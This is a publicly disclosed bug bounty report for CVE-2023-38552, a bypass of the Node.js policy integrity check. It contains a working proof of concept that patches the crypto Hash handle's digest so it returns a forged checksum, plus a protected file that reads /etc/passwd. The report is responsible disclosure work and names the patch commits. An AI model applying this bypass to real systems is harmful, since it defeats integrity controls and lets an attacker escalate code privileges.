HexBrain

Internet Bug Bounty · Report #2208860

Integrity checks according to policies can be circumvented in Node.js 20 and Node.js 18

Validstatus
mediumseverity
$1,270bounty
82upvotes
30 Nov 2023disclosed

Summary

Integrity checks according to policies can be circumvented (Medium) - (CVE-2023-38552) When the Node.js policy feature checks the integrity of a resource against a trusted manifest, the application can intercept the operation and return a forged checksum to node's policy implementation, thus effectively disabling the integrity check.

Impacts: This vulnerability affects all users using the experimental policy mechanism in all active release lines: 18.x and, 20.x. Please note that at the time this CVE is issued, the policy mechanism is an experimental feature of Node.js.

Thanks to Tobias Nießen who reported and created the security patch.

Full Security Advisory: https://nodejs.org/en/blog/vulnerability/october-2023-security-releases

How it was found

Summary: When Node.js is checking the integrity of a resource against a trusted manifest, the application can intercept the operation and return a forged checksum to node's policy implementation, thus effectively disabling the integrity check.

Description: Node.js uses the Hash class of the built-in crypto module to compute a cryptographic hash of each resource. The implementation protects itself against modifications of the Hash class prototype by the application, however, the Hash class internally relies on several C++ bindings that the application can replace at runtime.

Consider the following policy.json file:

{
  "resources": {
    "./main.js": {
      "integrity": true,
      "dependencies": {
        "./protected.js": true,
        "crypto": true
      }
    },
    "./protected.js": {
      "integrity": "sha384-OLBgp1GsljhM2TJ+sbHjaiH9txEUvgdDTAzHv2P24donTt6/529l+9Ua0vFImLlb",
      "dependencies": true
    }
  }
}

The file main.js may contain arbitrary code, but it cannot access, for example, the built-in fs module. The file protected.js, on the other hand, has a strict integrity requirement but can access arbitrary modules. The main.js file may require protected.js, provided that the integrity of protected.js is verified by Node.js.

The file main.js can thus contain arbitrary code. Let the contents be:

const h = require('crypto').createHash('sha384');
const fakeDigest = h.digest();

const kHandle = Object.getOwnPropertySymbols(h)
                      .find((s) => s.description === 'kHandle');
h[kHandle].constructor.prototype.digest = () => fakeDigest;

require('./protected.js');

The file protected.js does not match the integrity value specified in policy.json:

console.log(require('fs').readFileSync('/etc/passwd').length);

Running main.js with the policy enabled succeeds despite the integrity mismatch, and the application reads /etc/passwd:

$ node --experimental-policy=policy.json main.js 
3224

This vulnerability is exploitable in the default build configuration of Node.js, and only requires the user to enable the policy feature when starting Node.js.

I provided a patch, which has been merged into the main branch as commit e673c0362979f9cb2c74fc6876c45ae9be1fe853, into the v20.x release line as commit a4cb7fc7c04869f051e270ed192a679d2d108328, and into the v18.x release line as commit 1c538938ccadfd35fbc699d8e85102736cd5945c, all of which have been released on October 13th, 2023.

Impact

As per the Node.js documentation at the time the issue was reported, "Policies are a security feature intended to allow guarantees about what code Node.js is able to load" and "The policy manifest will be used to enforce constraints on code loaded by Node.js." The current revision of the documentation adds that "policies guarantee the file integrity when a module is loaded using require(), import() or new Module()."

The presented vulnerability invalidates these statements. Code may be executed through require() even if the code has been modified. The modified code inherits all permissions of the supposedly trusted code, which potentially allows the attacker to escalate their permissions as demonstrated above.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original